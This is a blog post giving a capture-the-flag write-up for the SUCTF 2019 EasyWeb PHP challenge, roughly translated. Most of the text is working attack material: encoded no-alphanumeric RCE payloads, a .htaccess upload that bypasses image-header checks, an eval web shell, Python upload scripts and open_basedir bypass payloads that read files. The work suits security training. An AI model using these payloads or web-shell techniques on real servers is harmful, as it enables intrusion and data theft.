[SUCTF 2019]EasyWeb --- no parameter RCE

Posted by chintupintu03 on Sat, 29 Jan 2022 01:15:05 +0100

SUCTF 2019]EasyWeb

Test site:

  1. No alphanumeric shell
  2. Use htaccess upload file
  3. Bypass open_basedir
    Source code audit
<?php
function get_the_flag(){
    // web admin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);   //Naming format (upload/tmp_md5(ip))
    if(!file_exists($userdir)){     //Judge whether the file exists, and re create it if it does not exist
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);   //Output file name Example of data after: 123 php output php
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");   //The information in the file cannot be obtained <?
    if(!exif_imagetype($tmp_name)) die("^_^");     //Used to check whether the file header matches the suffix of the file
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){                        //Length bypass
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )    //No number, letter bypass - command execution -- bypass
    die('Try something else!');

$character_type = count_chars($hhh, 3);   //count_chars -- returns information about the characters used in the string
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

Audit results

The following is rce without numbers, letters and parameters

Using the previous notes p Cow's notes
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

Chuan Shen

$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\$b = $_POST
$a($c[1121]);

This method is divided into two types, one GET Type A POST Type
 Here is POST
?_=$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;$a($c[1121]);
then post: 1121=phpinfo();
Here is get mode
?_=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();

The above is the XOR method used, and then we can also use the classic features of php

Ascii Code greater than 0 x7F All characters are treated as strings, and and 0 xFF XOR is equivalent to negation, which can bypass the filtered negation symbols.

Here is the script

<?php
$l = "";
$r = "";
$argv = str_split("_GET");  ##Will_ GET is divided into an array with one value stored in one bit
for($i=0;$i<count($argv);$i++){   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);    ##XOR         
        if($k == $argv[$i]){
        	if($j<16){  ##If it is less than 16, it means that only one bit is needed, but the url requires 2 bits, so fill in 0
        		$l .= "%ff";
                $r .= "%0" . dechex($j);
        		continue;
        	}
            $l .= "%ff";
            $r .= "%" . dechex($j);
            
        }
    }}
echo "\{$l`$r\}";  ### The back quotation mark here is only used to distinguish the left half from the right half

?>

implement

Get    --   \{%ff%ff%ff%ff`%a0%b8%ba%ab\}  ==get
It is worth noting here that ${_GET}{%A0}Is equal to $_GET[%A0],%A0 Is a character, though not quoted
 The number led up, but php It won't be seen as a variable,
That's why&_GET[cmd]=&_GET["cmd"] Yes.
Another feature is $a=phpinfo If implemented $a() It's equivalent to execution phpinfo()

payload

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

We can execute phpinfo

Then get the flag
But in fact, this is an unexpected solution. The real solution is to use htaccess file upload method

We can know from the above code analysis that we can upload files and then call get_the_flag
 In this way, we can get flag The way is the real expected solution.
But the question is, which portal is where and what files we want to upload. The above code analysis is used to
 Analyzing the format of the picture, how can we upload it is the biggest problem.

First, what files are uploaded
Let's call the getflag method first

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag


A blank, nothing

Don't panic. In fact, this is because we trigger the back-end code of php file upload.

analysis

The points that need to be bypassed are php The bypass of asking price suffix restricts us from uploading php file
,Cannot upload php There's no way we can do this php Analysis.
method:
For this site is a apache Server, so you can upload.htaccess Documents.
about.htaccess Detailed analysis of the file. There is a summary in the previous file upload.
The main use is.htaccess Files can be directly php Parse and execute.
two:bypass<?
method:
We use it directly<%To bypass. because php = 7.2 So it can't be used<script>
3:  Bypass header check, bypass exif_imagetype()function
 method:
use\x00\x00\x8a\x39\x8a\x39 bypass
 use
#define width 1337
#define height 1337
 bypass

After clarifying the methods of uploading files and bypassing the inspection, we began to write htaccess file
Writing method 1

#define width 1
#define height 1
AddType application/x-httpd-php .pxp
php_value auto_append_file "php://filter/convert.base64-decode/resource=1121.pxp"

Writing method 2

\x00\x00\x8a\x39\x8a\x39 
AddType application/x-httpd-php .ss 
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_837ec5754f503cfaaee0929fd48974e7/1121.txt" 

analysis

AddType application/x-httpd-php .txt   
###Will 1 Test is parsed in php
php_value auto_append_file  "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_48cd8b43081896fbd0931d204f947663/shell.txt"
##In shell After the txt is loaded, the base64 decoded shell is included again txt,
success getshell,So that's why it happened twice shell.txt The reason for the content, the first time is
 Not after base64 Decrypted. The second time is decrypted and converted into php Yes.

After writing the configuration file, we write the Trojan file to upload

\x00\x00\x8a\x39\x8a\x39 
<?php eval($_GET['cmd']);?>

We also need to bypass the validation function of the file header
Here is the upload file - python script is too poor to write
Here are three
source

https://mayi077.gitee.io/2020/02/14/SUCTF-2019-EasyWeb/
https://www.shawroot.cc/1840.html

Step by step upload 1

import requests
xbmhtaccess=b"""
#define width 1
#define height 1
AddType application/x-httpd-php .qiu
php_value auto_append_file "php://filter/convert.base64-decode/resource=zenis.qiu"
"""

### Or xbmhtaccess=b"""\x00\x00\x85\x48\x85\x18"
### AddType application/x-httpd-php .test
### php_value auto_append_file  
###  "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/1.test"
### """

url="http://3f165c30-20ac-4c51-8d4a-742208486edc.node1.buuoj.cn/?_=$%7B%86%9E%9C%8D%5E%d9%d9%d9%d9%7D%7B%d9%7D();&%d9=get_the_flag"
#upload
files={
	'file':('.htaccess',xbmhtaccess,'image/png')
}
r=requests.post(url,files=files)
print r.text

Step by step upload 2

import requests
import base64
url="http://27599faf-aa11-40af-82aa-79ff4bc28fe5.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
htaccess=b"""\x00\x00\x85\x48\x85\x18
AddType application/x-httpd-php .test
php_value auto_append_file  "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test "## here you need to replace it with the file name you uploaded

"""

shell=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_GET[cmd])?>") #Aain order to meet the base64 algorithm, eight bytes are enough

#first_upload ---- to upload .htaccess

files1={
	'file':('.htaccess',htaccess,'image/jpeg')
}
r1=requests.post(url=url,files=files1)
print (r1.text)

#second_upload ---- to upload .shell
#
files2={
	'file':('1.test',shell)
}
r1=requests.post(url,files=files2)
print (r1.text)

One step upload

import requests
import hashlib
import base64

url ="http://a72f9a31-9b77-43e5-b2c1-a31861d4c18c.node3.buuoj.cn/"

padding = "?_=${%f8%f8%f8%f8^%a7%bf%bd%ac}{%f8}();&%f8=get_the_flag"

myip=requests.get("http://ifconfig.me").text

ip_md5 = hashlib.md5(myip.encode()).hexdigest()

userdir="upload/tmp_"+ip_md5+"/"

htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shaw.cc"
"""

shaw = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['cmd']);?>")

files =[('file',('.htaccess',htaccess,'image/jpeg'))]

res = requests.post(url=url+padding,files=files)
files = [('file',('shaw.cc',shaw,'image/jpeg'))]
res = requests.post(url=url+padding,files=files)
print("the path is:"+url+res.text)

Upload results

test

Even horse

Execute command

Disable found_ functions
Look at the terminal

Error reporting 127
Then go straight to the ant sword plug-in
tmd, as expected, my ant sword still doesn't work.
In fact, I made a mistake here, that is, the windows system used by ant sword. If we want to use plug-ins, we need to use linux system.
View phpinfo
Open found_ Due to the limitation of basedir method, we can only open two directories

For the above example_ Basedir method, we can refer to the article of p Niu

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html

payload

Column directory
?cmd=mkdir('rot');chdir('rot');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(glob('*'));
read flag
?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

Write at the end

Welcome to join the planet and learn together. There are all kinds of red team resources, tools and tips!

Topics: PHP security Web Security Buuctf-Wp